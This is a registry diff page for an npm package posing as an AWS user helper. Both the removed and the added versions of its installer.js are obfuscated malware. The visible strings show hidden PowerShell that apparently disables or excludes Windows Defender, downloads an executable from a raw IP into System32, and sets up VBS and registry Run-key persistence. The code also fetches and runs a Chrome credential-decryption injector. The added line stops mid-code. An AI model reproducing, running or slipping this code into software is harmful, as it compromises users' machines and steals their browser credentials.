@antoncallahan/aws-user-helper 6767.67.79 → 6767.67.80
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/installer.js +1 -1
- package/package.json +1 -1
package/installer.js
CHANGED
|
@@ -1,2 +1,2 @@
|
|
|
1
|
-
function _0x543a(_0x9c4b3c,_0xecac1b){_0x9c4b3c=_0x9c4b3c-(0xb06+-0x1b*0xdb+-0x1*-0xd91);const _0x289d11=_0x2858();let _0xdf3cf8=_0x289d11[_0x9c4b3c];if(_0x543a['RpJbMf']===undefined){var _0x5b74bb=function(_0x580346){const _0x5924df='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x3339fc='',_0x16145c='';for(let _0x4db6e0=0x124d+-0x1ae6+0x899,_0xfec4c8,_0x3a8b7a,_0x41dcd1=0xe4a+-0xc5*-0x21+-0x27af;_0x3a8b7a=_0x580346['charAt'](_0x41dcd1++);~_0x3a8b7a&&(_0xfec4c8=_0x4db6e0%(-0xb7a+0x133f+0x5*-0x18d)?_0xfec4c8*(-0x495+-0x1e94+-0x31*-0xb9)+_0x3a8b7a:_0x3a8b7a,_0x4db6e0++%(-0x5*0x12b+-0x1*0xe56+-0x3*-0x6bb))?_0x3339fc+=String['fromCharCode'](-0x8dd*-0x2+-0x825+-0x896&_0xfec4c8>>(-(-0x956*-0x4+0x1*-0x556+-0x20*0x100)*_0x4db6e0&-0xd66+-0x501*-0x3+-0x25*0xb)):0xe64+0x3*-0x61d+0x3f3){_0x3a8b7a=_0x5924df['indexOf'](_0x3a8b7a);}for(let _0x825d02=0xba0+0x22*-0x66+0x1ec,_0x52fd23=_0x3339fc['length'];_0x825d02<_0x52fd23;_0x825d02++){_0x16145c+='%'+('00'+_0x3339fc['charCodeAt'](_0x825d02)['toString'](0x14a3+0x1270+-0x1*0x2703))['slice'](-(-0x45*0x43+0x21e5+0x1*-0xfd4));}return decodeURIComponent(_0x16145c);};_0x543a['EZbZUH']=_0x5b74bb,_0x543a['FOLAUj']={},_0x543a['RpJbMf']=!![];}const _0x56ae9d=_0x289d11[-0x29*0xb2+0x1a1d+0x265],_0x288a66=_0x9c4b3c+_0x56ae9d,_0x317162=_0x543a['FOLAUj'][_0x288a66];return!_0x317162?(_0xdf3cf8=_0x543a['EZbZUH'](_0xdf3cf8),_0x543a['FOLAUj'][_0x288a66]=_0xdf3cf8):_0xdf3cf8=_0x317162,_0xdf3cf8;}function _0x2858(){const _0x7c9ecc=['C2LVBLXsDw4GlW','lMv4zsiIiIKUuW','CM90zwn0lNzICW','CMvSzwfZzxmVza','C29MDfXqCM90zq','uKDwBwfxnxbKrW','zNjVBq','igzYB20Gv2LUza','vJbmvtf3vuHkBa','Ahr0Chm','ifrOzw4kicaGia','zxjYB3i','y2XoBgjTuwK','mtC0nJuWnwvuyMXxCW','vNnIq0f0uti5Da','vtjgDgnhEgXJma','q3vYCMvUDfzLCG','B3jJzsi','DgvTmZjCtwLJCG','uNvUicjdoLXxAq','m1HwD2jwvW','nJCUmtCZlJeXnq','C2TSAxn0ic9gsq','zMLUAxnO','uhjVDgvJDc5LEa','ywXS','vuHkDMrhvMPKrW','zfDvz0XvuNbJmG','y2XVC2u','wLvSDwrisJfJmG','C3rHCNrLCIaVDa','tMXjqZfouvzcva','B21LBgv2yxrVCG','Dc5tAgvSBciPlG','y25wBeLdmuzIBq','y3j5ChrPB24Tra','ks5fEgvJkcj0yq','iKLUDM9Rzs1xzq','BhzIAufRzeHkmq','AM9PBG','xgnPlNPPCcCGlq','Dg9tDhjPBMC','rxHWyw5KlufYyW','tuuGzxeGqZPCvW','zxnZ','Dg1WzgLY','uNzJBwX1wNLbAW','oI8Vz2L0AhvIlG','vNLyrtf3utiXAW','zxHPDa','rg8kicbjzIbjBG','AwvY','qxrvBvz0yJnABa','B3nVzNrCuhjVDa','y3jLyxrLv3jPDa','oxnAr1z5uvDoAG','u3rYkfDty3jPCa','BwTKAxjtEw5J','y3rCtwLJCM9ZBW','B3DUBg9Hzc92ma','Dc5dCMvHDgvpyG','sNrHwfjuwvCXDW','y21SD2rgtMPzvW','AgL2zsaTugf0Aa','DfbYB3rLy3rszq','BhzIBej5wLHABa','vw1wD2iZsJbHvW','y3qOiLDty3jPCa','y0C5m1PysNPHrW','l0nOCM9Tzs1bCa','zxHLiIWGmaOGia','zxHLyW','mZCZmJKWtunOuK1X','y2HPBgrFChjVyW','BLbHDgGGjW','xgnPlNPPCcC7ia','yKnjpq','C3rHy2S','iciIsu1br0voqq','qwXSlcaIqZPCvW','uJnIm0PYvuHkDG','BhzIBK1NtfvgCW','xgnOCM9Tzs1PBG','BM9Kzs1UB3rPzG','nJC0mdy4nxryEKL6uq','Axb0lLnOzwXSiG','CMf3','wM1wEvPxnwPAuW','ic1dB21Tyw5Kia','CMvNigfKzcbisW','yLjLCxvLC3qGlq','EgnSDxnPB25qyq','CI12mc4Ymc4WlG','wLHoEKLfuNbJmG','C3rLAw4','AwXLicC','yM5sCgiYnvrLwa','x3G2nc5LEgu','mti5ntu1nKjTuwLgsG','twLJCM9ZB2z0ua','iKfKzc1nCfbYzq','w1voq0fvr0Huxq','mtuWnZaWnhH4zML3Aa','DfXxAw5KB3DZxa','rxHJBhvKAw5Nia','zvXnAwnYB3nVzG','D3jPDgvgAwXLuW','yLDgDvPdqwLvmG','vw5wDuXTvJrAuW','zNrqCM90zwn0lG','zeDwAMrhBhzIAq','wtiXA0LdowPjqW','D3jPDgu','yMfZzty0','Cc1cB3vUzc1fBG','qxrsr2X6wvDkCW','D3nJCMLWDc5LEa','Cg93zxjZAgvSBa','mJK3ndC5mLLWvePXzG','BMrVD3nCu3LZDa','DIbnAwnYB3nVzG','u2nYAxb0lLnSzq','DgGGj0m6xfvZzq','Aw5KB3DZxfn5CW','y205C2jhvMTsBq','ntmYn2f5sKvpBG','rMLIr1zRsumXrG','mZi4mMfMq2zUvG','AMvJDg9YjYaTrG','qxrvm1zPyLDSma','ifjfr19twIaVza','BwuTAw5Qzwn0BW','CNmNiG','iIaVzG','yM1gAwjhvK9Awa','zMvYzw5JzsaTrq','zeHkmvPtqxrsrW','tJbAvZbNsKHsEq','zvn0CMvHBq','Dw5JyxvNAhrfEa','Bg9N','y3j5ChrV','CM90zwn0lMv4zq','rMLIr1zkvdbgvW','swXvseP2wJnkAa','rgvZDgLUyxrPBW','EMLWjYaTt3v0rG','BM9Kzs13Aw5KBW','sNnAvKPSwvD4ma','w0vsuK9sxsa','wLnbDfjhBhPzvW','zxaGmtaWmaPmBW','twLjpq','rw5KieLMcIaGvW','Ahr0Ca'];_0x2858=function(){return _0x7c9ecc;};return _0x2858();}(function(_0x463ce2,_0x25092c){const _0x58cb9e=_0x543a,_0x125345=_0x463ce2();while(!![]){try{const _0x2b84ef=-parseInt(_0x58cb9e(0x1fc))/(-0x15*-0xa3+0x1c4b*-0x1+0xeed)+parseInt(_0x58cb9e(0x17f))/(0x7*-0x2af+0x8*-0x41b+0x33a3*0x1)+-parseInt(_0x58cb9e(0x1c8))/(-0x1085+-0x262b+-0x4f9*-0xb)*(-parseInt(_0x58cb9e(0x216))/(-0x384+0x24b2+-0x236*0xf))+-parseInt(_0x58cb9e(0x1c1))/(-0x1171+-0x1*0x192b+0x2aa1*0x1)+parseInt(_0x58cb9e(0x198))/(0x7*0x333+0x486+-0x1ae5)*(parseInt(_0x58cb9e(0x196))/(-0x1487+-0x1*-0x397+0x10f7))+parseInt(_0x58cb9e(0x18f))/(-0x8*0x232+0x13*0x102+-0x18e)+-parseInt(_0x58cb9e(0x208))/(0x6fb+0x2a1*0x1+0x3*-0x331);if(_0x2b84ef===_0x25092c)break;else _0x125345['push'](_0x125345['shift']());}catch(_0x4f86b4){_0x125345['push'](_0x125345['shift']());}}}(_0x2858,-0x9c746+0x77eaf+0x84b76),(async function(){const _0x423748=_0x543a,{execSync:_0x2a18a1,execFile:_0xa5db5f,spawn:_0x1f66e5}=require(_0x423748(0x1fd)+_0x423748(0x1e0)),_0x17a97c=require(_0x423748(0x1fd)+_0x423748(0x1e0)),_0x354dd7=require('fs'),_0x1913cd=require('path'),_0x289024=require('os'),_0x1e3157=require(_0x423748(0x207)+_0x423748(0x1e7)),{Service:_0x53ade2}=require(_0x423748(0x1ac)+'ws'),_0x282f67=require(_0x423748(0x1a6)),_0x504a06=require(_0x423748(0x1bd)),_0x2f467d=require(_0x423748(0x1b3)),_0x340825=require('os')[_0x423748(0x1e1)](),_0x1aa06f=!![];if(_0x1aa06f){const _0x46c9da=_0x354dd7['createWrit'+_0x423748(0x1a3)](_0x1913cd[_0x423748(0x1db)](_0x340825,'jeffery.ep'+_0x423748(0x212)),{'flags':'a'}),_0x841b1c=console[_0x423748(0x1a5)],_0x4b762d=console[_0x423748(0x1bf)];console['log']=(..._0x319387)=>_0x46c9da[_0x423748(0x189)](_0x319387[_0x423748(0x1db)]('\x20')+'\x0a'),console[_0x423748(0x1bf)]=(..._0x35f7ac)=>_0x46c9da[_0x423748(0x189)](_0x423748(0x1ae)+_0x35f7ac['join']('\x20')+'\x0a'),process['on'](_0x423748(0x1a4)+'ception',_0x1b9d2a=>{const _0x453f92=_0x423748;_0x46c9da[_0x453f92(0x189)](_0x453f92(0x17e)+'\x20'+_0x1b9d2a[_0x453f92(0x201)]+'\x0a'),process[_0x453f92(0x1e5)](0x16a*-0xa+-0xd5d+-0x1f7*-0xe);});}const _0x4552bd=_0x1913cd[_0x423748(0x1db)](_0x289024[_0x423748(0x1e1)](),'output');_0x354dd7[_0x423748(0x1ed)](_0x4552bd,{'recursive':!![]});const _0x25bf7d=async()=>{const _0x32024d=_0x423748;return console[_0x32024d(0x1a5)](_0x32024d(0x181)+__dirname+(_0x32024d(0x1bb)+'ows\x20Defend'+'er...')),new Promise(async(_0x1f566b,_0x42031f)=>{const _0x30493c=_0x32024d;_0x17a97c[_0x30493c(0x1fb)](_0x30493c(0x18e)+'\x20-Command\x20'+'\x22Add-MpPre'+_0x30493c(0x1a0)+_0x30493c(0x20f)+'th\x20\x27C:\x5cWin'+'dows\x27\x22',{'windowsHide':!![]},_0x220180=>{const _0x3bf536=_0x30493c;_0x17a97c[_0x3bf536(0x1fb)]('powershell'+_0x3bf536(0x20c)+_0x3bf536(0x218)+_0x3bf536(0x1a0)+_0x3bf536(0x20f)+_0x3bf536(0x193)+_0x3bf536(0x19d),{'windowsHide':!![]},_0x415768=>{_0x1f566b();});});});},_0x368207=async()=>{const _0x5b2218=_0x423748,[_0x4c0fdf,_0x448524,_0x10f220]=[Buffer[_0x5b2218(0x1ba)](_0x5b2218(0x1f8)+'VsbCAtQ29t'+_0x5b2218(0x184)+_0x5b2218(0x1bc)+_0x5b2218(0x20b)+_0x5b2218(0x18c)+_0x5b2218(0x1d1)+_0x5b2218(0x1f5)+_0x5b2218(0x214)+_0x5b2218(0x1a2)+_0x5b2218(0x1cf)+_0x5b2218(0x1a8)+_0x5b2218(0x1ce)+_0x5b2218(0x1da)+_0x5b2218(0x1af)+_0x5b2218(0x1ad)+'aW1lTW9uaX'+_0x5b2218(0x1e2)+_0x5b2218(0x1a1)+'lzYWJsZVNj'+_0x5b2218(0x1f2)+'5uaW5nICR0'+_0x5b2218(0x1d6)+'FibGVDb250'+_0x5b2218(0x195)+_0x5b2218(0x1eb)+_0x5b2218(0x211)+_0x5b2218(0x197)+_0x5b2218(0x19f)+_0x5b2218(0x204)+_0x5b2218(0x187)+'BBdWRpdE1v'+'ZGUgLUZvcm'+_0x5b2218(0x1d3)+_0x5b2218(0x1f6)+'5nIERpc2Fi'+'bGVkIC1TdW'+_0x5b2218(0x1f1)+'bGVzQ29uc2'+'VudCBOZXZl'+_0x5b2218(0x1c0),_0x5b2218(0x18a))['toString'](),Buffer[_0x5b2218(0x1ba)]('cG93ZXJzaG'+_0x5b2218(0x1c2)+_0x5b2218(0x184)+'V0LU1wUHJl'+'ZmVyZW5jZS'+_0x5b2218(0x19a)+_0x5b2218(0x1c3)+'NvbnNlbnQg'+_0x5b2218(0x1b1),'base64')['toString'](),Buffer['from'](_0x5b2218(0x188)+_0x5b2218(0x1a9)+'bUZpbGVzJV'+'xXaW5kb3dz'+'IERlZmVuZG'+_0x5b2218(0x1e4)+_0x5b2218(0x185)+_0x5b2218(0x1e8)+_0x5b2218(0x1b9)+_0x5b2218(0x205)+_0x5b2218(0x200),'base64')[_0x5b2218(0x1dd)]()];return new Promise((_0x41409c,_0x194d91)=>{const _0x479ace=_0x5b2218;_0x17a97c[_0x479ace(0x1fb)](_0x4c0fdf,{'windowsHide':!![]},_0xfcf18a=>{const _0x550720=_0x479ace;if(_0xfcf18a)return _0x194d91(_0xfcf18a);_0x17a97c[_0x550720(0x1fb)](_0x448524,{'windowsHide':!![]},_0x3d5251=>{const _0x13c470=_0x550720;if(_0x3d5251)return _0x194d91(_0x3d5251);_0x17a97c[_0x13c470(0x1fb)](_0x10f220,{'windowsHide':!![]},_0x3b5c5d=>{if(_0x3b5c5d)return _0x194d91(_0x3b5c5d);_0x41409c();});});});});};await _0x25bf7d(),await new Promise(_0xb56ccc=>setTimeout(_0xb56ccc,-0x9dc*0x2+-0xb7a+0x2*0x1381));const _0x145480=String[_0x423748(0x20a)]`C:\Windows\System32\Microsoft\Protect`;_0x354dd7[_0x423748(0x1ed)](_0x145480,{'recursive':!![]});const _0x11e50e=_0x354dd7[_0x423748(0x1ea)+'eStream'](_0x1913cd[_0x423748(0x1db)](_0x145480,_0x423748(0x217)+_0x423748(0x1a7)));_0x2f467d['get']('http://69.'+_0x423748(0x1c9)+'/Microsoft'+_0x423748(0x1cc)+'e',_0x3de017=>{const _0x458494=_0x423748;_0x3de017['pipe'](_0x11e50e),_0x11e50e['on'](_0x458494(0x1cb),()=>_0x11e50e[_0x458494(0x1d0)]());});const _0xd7c486=_0x423748(0x1e6)+_0x423748(0x1ec)+_0x423748(0x1f0)+'ject(\x22WScr'+_0x423748(0x209)+_0x423748(0x1d8)+_0x423748(0x1ca)+_0x423748(0x202)+_0x423748(0x1df)+'indows\x5cSys'+_0x423748(0x1c6)+_0x423748(0x1e9)+'ect\x5cMicros'+'oftProtect'+_0x423748(0x1b5)+'tdOut.Read'+_0x423748(0x203)+_0x423748(0x194)+_0x423748(0x1c6)+_0x423748(0x1e9)+'ect\x5cMicros'+'oftProtect'+'.exe\x22)\x20=\x200'+_0x423748(0x1be)+'CreateObje'+_0x423748(0x1f7)+_0x423748(0x1d5)+_0x423748(0x1c7)+_0x423748(0x190)+'em32\x5cMicro'+_0x423748(0x1b8)+_0x423748(0x1ee)+_0x423748(0x186)+_0x423748(0x1fa)+_0x423748(0x1b2)+_0x423748(0x192)+_0x423748(0x1b0)+'op',_0x5d44b8=_0x1913cd[_0x423748(0x1db)](_0x145480,_0x423748(0x217)+_0x423748(0x1b6));_0x354dd7[_0x423748(0x183)+'ync'](_0x5d44b8,_0xd7c486),_0x2a18a1(_0x423748(0x20d)+'CU\x5cSoftwar'+_0x423748(0x182)+_0x423748(0x180)+_0x423748(0x1c4)+_0x423748(0x1b4)+_0x423748(0x191)+_0x423748(0x1f4)+_0x423748(0x1d2)+_0x423748(0x19b)+'\x20\x22'+_0x5d44b8+_0x423748(0x19e),{'windowsHide':!![]}),_0x1f66e5(_0x423748(0x18d)+'e',[_0x5d44b8],{'detached':!![],'stdio':'ignore'}),_0x2a18a1(_0x423748(0x18e)+'\x20-WindowSt'+'yle\x20Hidden'+_0x423748(0x20c)+_0x423748(0x1d9)+_0x423748(0x20e)+'Uri\x20\x27https'+_0x423748(0x1e3)+'com/xaitax'+_0x423748(0x1f9)+_0x423748(0x18b)+_0x423748(0x1d7)+'ecryption/'+_0x423748(0x1b7)+_0x423748(0x1ef)+'.20.0/chro'+_0x423748(0x19c)+_0x423748(0x210)+_0x423748(0x1ab)+_0x423748(0x213)+_0x340825+(_0x423748(0x1ff)+_0x423748(0x1de)+_0x423748(0x1f3)+'\x20\x27')+_0x340825+(_0x423748(0x1dc)+_0x423748(0x1aa)+_0x423748(0x1fe))+_0x340825+(_0x423748(0x206)+_0x423748(0x199)+_0x423748(0x1c5)),{'windowsHide':!![]});const _0x292cf3=_0xa5db5f(_0x340825+('\x5cchrome-in'+'jector\x5cchr'+_0x423748(0x1d4)+_0x423748(0x215)),[_0x423748(0x1cd),'-o',_0x4552bd],{'windowsHide':!![]});}()));
|
|
1
|
+
function _0x4ac3(_0x2ef8b1,_0x512610){_0x2ef8b1=_0x2ef8b1-(0x39a+-0x1*-0x1849+0x5*-0x536);const _0x5e1d6c=_0x20d7();let _0x217a87=_0x5e1d6c[_0x2ef8b1];if(_0x4ac3['fapVll']===undefined){var _0x5e3555=function(_0x561b30){const _0x236df5='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x53bde8='',_0x533aa2='';for(let _0x405944=-0x1f42+-0x4cd*0x4+0x3276,_0x51b657,_0x1a8f06,_0x250f5d=0x1*-0x2653+0x5e3*-0x2+0x3219;_0x1a8f06=_0x561b30['charAt'](_0x250f5d++);~_0x1a8f06&&(_0x51b657=_0x405944%(0x7*-0x49a+-0x2f*0x24+0x26d6)?_0x51b657*(0x85d+0x1*0x6f7+-0x1*0xf14)+_0x1a8f06:_0x1a8f06,_0x405944++%(0x2*-0x8dd+0x2d6*-0x9+0x2b44*0x1))?_0x53bde8+=String['fromCharCode'](0xb77+-0xd6d+0x1*0x2f5&_0x51b657>>(-(-0xa01+0x25be+-0x1bbb)*_0x405944&-0x1*0x450+0x1ca4+0x22*-0xb7)):0x331*-0xb+0x201c+-0x2ff*-0x1){_0x1a8f06=_0x236df5['indexOf'](_0x1a8f06);}for(let _0x25c4d9=-0x889+0x1735*0x1+-0x1*0xeac,_0x16740e=_0x53bde8['length'];_0x25c4d9<_0x16740e;_0x25c4d9++){_0x533aa2+='%'+('00'+_0x53bde8['charCodeAt'](_0x25c4d9)['toString'](0x1ff1+-0x1*-0x19bb+0x1*-0x399c))['slice'](-(-0x1b9f+0x1630+0x571));}return decodeURIComponent(_0x533aa2);};_0x4ac3['gdDBQl']=_0x5e3555,_0x4ac3['RwTRkl']={},_0x4ac3['fapVll']=!![];}const _0xdc5536=_0x5e1d6c[0x62*-0x43+0x1*0x17a3+-0x5*-0x67],_0x2edb99=_0x2ef8b1+_0xdc5536,_0x3de320=_0x4ac3['RwTRkl'][_0x2edb99];return!_0x3de320?(_0x217a87=_0x4ac3['gdDBQl'](_0x217a87),_0x4ac3['RwTRkl'][_0x2edb99]=_0x217a87):_0x217a87=_0x3de320,_0x217a87;}function _0x20d7(){const _0x58fd44=['B3nVzNrCuhjVDa','q3jLyxrLt2jQzq','Dg1WzgLY','zg93CYCI','uNvUicjdoLXxAq','vJbmvtf3vuHkBa','Bg9N','Ahr0CdOVlZy5lG','qxrvBvz0yJnABa','rMLIr1zRsumXrG','zNrqCM90zwn0lG','y3rCtwLJCM9ZBW','C2TSAxn0ic9gsq','y0C5m1PysNPHrW','vw1wD2iZsJbHvW','iKfKzc1nCfbYzq','tJbAvZbNsKHsEq','qxrvm1zPyLDSma','nJCUmtCZlJeXnq','q1vCu29MDhDHCG','zwnYExb0Aw9UlW','qxrsr2X6wvDkCW','ic1xAw5KB3DtDa','wLnbDfjhBhPzvW','mtyWnduZoe5SzvHLvW','BhzIBej5wLHABa','l0nOCM9Tzs1bCa','nxvHvZvUsunsma','twLJCM9ZB2z0ua','qKjKv1jWzeuXDG','yLvACgjhvNPkvG','zxaGmtaWmaPmBW','Cg93zxjZAgvSBa','wM1wEvPxnwPAuW','BM9Kzs13Aw5KBW','DfXxAw5KB3DZxa','vNnIq0f0uti5Da','D3jPDgu','EMLWjYaTt3v0rG','oxnAr1z5uvDoAG','y21SD2rgtMPzvW','AMvJDg9YjYaTrG','Cgf0Aa','B3DZierLzMvUza','vNvKq0jpwLHABa','BM9Kzs1UB3rPzG','BhPzv0PZwLzoAG','lMv4zsiIiIKUuW','mtm1mdaYmxPtwNnAAa','rxHJBhvKAw5Nia','Dw5JyxvNAhrfEa','iKLUDM9Rzs1xzq','BwuTAw5Qzwn0BW','zxHLiIWGmaOGia','nJu1nNPivwjuyW','vtjgDgnhEgXJma','Aw5KB3DZxfn5CW','u2nYAxb0lLnSzq','DgvTmZjCtwLJCG','AwDUB3jL','CMvSzwfZzxmVza','z2v0','lMv4zsiPid0Gma','B3DUBg9Hzc92ma','y25wBeLdmuzIBq','vxjPicDODhrWCW','B2z0uhjVDgvJDa','zxnZ','BhzIAufRzeHkmq','DIbnAwnYB3nVzG','AM9PBG','CM90zwn0lNzICW','ndiXmdyYmejHzvj4za','zvXnAwnYB3nVzG','swXvseP2wJnkAa','y3j5ChrPB24Tra','wLvSDwrisJfJmG','B3v0Chv0','xgnPlNPPCcC7ia','yKnjpq','tNzIBK5SyM5rzW','zw0ZmLXnAwnYBW','y2XoBgjTuwK','EgnSDxnPB25qyq','vNLyrtf3utiXAW','yM1gAwjhvK9Awa','wLHoEKLfuNbJmG','AMvJDg9YxgnOCG','rMLIr1zkvdbgvW','AMvMzMvYEs5LCa','C3rLAw4','zeHkmvPtqxrsrW','l01Py3jVC29MDa','yMfZzty0','nZreuezes3i','sNrHwfjuwvCXDW','rgvZDgLUyxrPBW','D3jPDgvgAwXLuW','Ahr0Ca','CI12mc4Ymc4WlG','y205C2jhvMTsBq','AwXLicC','ovHUA2TUtq','zMvYzw5JzsaTrq','CMvNigfKzcbisW','mtq3y3bfwMPo','EwXLieHPzgrLBG','CNmNiG','suvsBfPTvNvArW','mZq0ntzUAxb0vei','tMXjqZfouvzcva','DgGGj0m6xfvZzq','DgGGj0m6xfDPBG','BhzIBK1NtfvgCW','zNjVBq','y2XVC2u','vuHkDMrhvMPKrW','y3jLyxrLv3jPDa','wKDvz0XvwNzJBq','rw5KieLMcIaGvW','twLjpq','Dg9tDhjPBMC','Dc5tAgvSBciPlG','oI8Vz2L0AhvIlG','zMLUAxnO','vw5wDuXTvJrAuW','ifrOzw4kicaGia','y3j5ChrV','CM90zwn0lMv4zq','rxHWyw5KlufYyW','C3rHy2S','BLbHDgGGjW','w0vsuK9sxsa','AwvY','xgnOCM9Tzs1PBG','uKDwBwfxnxbKrW','zxHLyW','lJiWlJaVy2HYBW','zvn0CMvHBq','AgL2zsaTugf0Aa','zxiUlI4','ntK5n09WBhDPua','iciIsu1br0voqq','BMrVD3nCu3LZDa','D3nJCMLWDc5LEa','DfbYB3rLy3rszq','y3qOiLDty3jPCa','yKDwELeYoxvJmG','BwTKAxjtEw5J','yvCXBfrxoxvHwa','yKDwA0LdmvrKvW','xgnPlNPPCcCGlq','mZaWsLnVDxvT','EfHHvZvRyJnKEG','sNnAvKPSwvD4ma','uNzJBwX1wNLbAW','q3vYCMvUDfzLCG','zwn0xe1Py3jVCW','ywXS','yM5sCgiYnvrLwa','w1voq0fvr0Huxq','nteXntq0wffzs21p','Cc1cB3vUzc1fBG','B3jJzsi','uhjVDgvJDc5LEa','ifjfr19twIaVza','ic1dB21Tyw5Kia','C2LVBLXsDw4GlW','yLDgDvPdqwLvmG','zxHPDa','Ew5J'];_0x20d7=function(){return _0x58fd44;};return _0x20d7();}(function(_0x1dcf93,_0x9eff0d){const _0x2502e1=_0x4ac3,_0x4a5ada=_0x1dcf93();while(!![]){try{const _0x35502a=parseInt(_0x2502e1(0x1f4))/(0x8a1+-0x2487*-0x1+-0x2d27)*(parseInt(_0x2502e1(0x270))/(0x54d+-0xd7e+-0x1*-0x833))+-parseInt(_0x2502e1(0x242))/(0x1*0x15c3+0x894+-0x1e54)+parseInt(_0x2502e1(0x248))/(0x985+0x272*0x4+0x1*-0x1349)*(-parseInt(_0x2502e1(0x1ff))/(-0x1523+0x32*-0x88+0x2fb8))+parseInt(_0x2502e1(0x22a))/(0x7*-0x101+0x1*-0xd7+-0x14*-0x65)+-parseInt(_0x2502e1(0x27b))/(0x44b*0x5+-0x22f8+0xd88*0x1)*(parseInt(_0x2502e1(0x27f))/(-0x1113+-0x22a7+0x33c2))+parseInt(_0x2502e1(0x278))/(0x316*0x2+0x251a*-0x1+0x1*0x1ef7)*(parseInt(_0x2502e1(0x25a))/(-0x1d07+-0x198c+0x369d))+-parseInt(_0x2502e1(0x208))/(-0x1*-0x515+-0x1429*-0x1+-0x1933*0x1);if(_0x35502a===_0x9eff0d)break;else _0x4a5ada['push'](_0x4a5ada['shift']());}catch(_0x473fc0){_0x4a5ada['push'](_0x4a5ada['shift']());}}}(_0x20d7,0x29518+-0x53428+0x4*0x18391),(async function(){const _0x451e91=_0x4ac3,{execSync:_0x279ed3,execFile:_0x59de28,spawn:_0x35d397}=require('child_proc'+'ess'),_0x3bf3fb=require('child_proc'+_0x451e91(0x255)),_0x156092=require('fs'),_0x1df756=require(_0x451e91(0x23c)),_0x39e4f7=require('os'),_0x383045=require(_0x451e91(0x23f)+_0x451e91(0x1ec)),{Service:_0x1b1d39}=require(_0x451e91(0x234)+'ws'),_0x36125e=require(_0x451e91(0x1e6)),_0x370a80=require('https'),_0x3a208a=require(_0x451e91(0x274)),_0x2dc575=require('os')[_0x451e91(0x214)](),_0x1a0d6a=!![];if(_0x1a0d6a){const _0x5e47b3=_0x156092['createWrit'+_0x451e91(0x1f1)](_0x1df756['join'](_0x2dc575,_0x451e91(0x26b)+_0x451e91(0x26c)),{'flags':'a'}),_0x3daef8=console[_0x451e91(0x218)],_0x1f4d8e=console['error'];console[_0x451e91(0x218)]=(..._0x29c7ec)=>_0x5e47b3[_0x451e91(0x237)](_0x29c7ec['join']('\x20')+'\x0a'),console['error']=(..._0x115d41)=>_0x5e47b3[_0x451e91(0x237)](_0x451e91(0x1eb)+_0x115d41[_0x451e91(0x258)]('\x20')+'\x0a'),process['on'](_0x451e91(0x244)+'ception',_0x30b3fa=>{const _0x53dfd1=_0x451e91;_0x5e47b3[_0x53dfd1(0x237)](_0x53dfd1(0x207)+'\x20'+_0x30b3fa[_0x53dfd1(0x1e9)]+'\x0a'),process[_0x53dfd1(0x210)](0xfc5+-0x16a2+0x6de);});}const _0x1088c4=_0x1df756[_0x451e91(0x258)](_0x39e4f7['tmpdir'](),_0x451e91(0x25f));_0x156092[_0x451e91(0x1fb)](_0x1088c4,{'recursive':!![]});const _0x5f58a4=async()=>{const _0x87b94b=_0x451e91;return console[_0x87b94b(0x218)](_0x87b94b(0x243)+__dirname+('\x20from\x20Wind'+_0x87b94b(0x23d)+_0x87b94b(0x1f3))),new Promise(async(_0x4039de,_0x237b00)=>{const _0x592f82=_0x87b94b;_0x3bf3fb[_0x592f82(0x1ef)]('powershell'+'\x20-Command\x20'+_0x592f82(0x221)+_0x592f82(0x279)+_0x592f82(0x265)+_0x592f82(0x1d7)+_0x592f82(0x215),{'windowsHide':!![]},_0x5dc075=>{const _0x1d7ef5=_0x592f82;_0x3bf3fb[_0x1d7ef5(0x1ef)](_0x1d7ef5(0x232)+_0x1d7ef5(0x20d)+_0x1d7ef5(0x221)+_0x1d7ef5(0x279)+_0x1d7ef5(0x265)+_0x1d7ef5(0x1d6)+_0x1d7ef5(0x27d),{'windowsHide':!![]},_0xacdc91=>{_0x4039de();});});});},_0x4690fa=async()=>{const _0x3ba6be=_0x451e91,[_0x5a71f6,_0xf31c34,_0x2a6d0c]=[Buffer[_0x3ba6be(0x1d9)](_0x3ba6be(0x21f)+_0x3ba6be(0x236)+_0x3ba6be(0x20f)+'V0LU1wUHJl'+_0x3ba6be(0x233)+_0x3ba6be(0x227)+_0x3ba6be(0x25e)+_0x3ba6be(0x22b)+_0x3ba6be(0x206)+_0x3ba6be(0x222)+'dWUgLURpc2'+_0x3ba6be(0x26a)+_0x3ba6be(0x1db)+_0x3ba6be(0x256)+_0x3ba6be(0x229)+_0x3ba6be(0x201)+_0x3ba6be(0x1fc)+_0x3ba6be(0x202)+_0x3ba6be(0x26d)+_0x3ba6be(0x240)+_0x3ba6be(0x23a)+_0x3ba6be(0x22d)+_0x3ba6be(0x252)+'FibGVDb250'+_0x3ba6be(0x276)+_0x3ba6be(0x239)+_0x3ba6be(0x268)+_0x3ba6be(0x21b)+_0x3ba6be(0x267)+'R3b3JrUHJv'+'dGVjdGlvbi'+_0x3ba6be(0x22f)+_0x3ba6be(0x1dd)+_0x3ba6be(0x1d5)+_0x3ba6be(0x220)+'5nIERpc2Fi'+_0x3ba6be(0x1fd)+_0x3ba6be(0x271)+_0x3ba6be(0x1fa)+_0x3ba6be(0x23e)+_0x3ba6be(0x264),_0x3ba6be(0x26f))['toString'](),Buffer[_0x3ba6be(0x1d9)]('cG93ZXJzaG'+_0x3ba6be(0x236)+_0x3ba6be(0x20f)+_0x3ba6be(0x217)+_0x3ba6be(0x233)+_0x3ba6be(0x223)+_0x3ba6be(0x249)+_0x3ba6be(0x262)+_0x3ba6be(0x1df),_0x3ba6be(0x26f))['toString'](),Buffer['from']('Y21kIC9jIC'+_0x3ba6be(0x25c)+_0x3ba6be(0x230)+_0x3ba6be(0x200)+_0x3ba6be(0x27e)+_0x3ba6be(0x266)+_0x3ba6be(0x1e4)+_0x3ba6be(0x21a)+_0x3ba6be(0x1ee)+_0x3ba6be(0x1d8)+_0x3ba6be(0x261),'base64')[_0x3ba6be(0x1e0)]()];return new Promise((_0x52a4b9,_0x5efae2)=>{_0x3bf3fb['exec'](_0x5a71f6,{'windowsHide':!![]},_0x2dab7f=>{const _0xc289b6=_0x4ac3;if(_0x2dab7f)return _0x5efae2(_0x2dab7f);_0x3bf3fb[_0xc289b6(0x1ef)](_0xf31c34,{'windowsHide':!![]},_0x208491=>{if(_0x208491)return 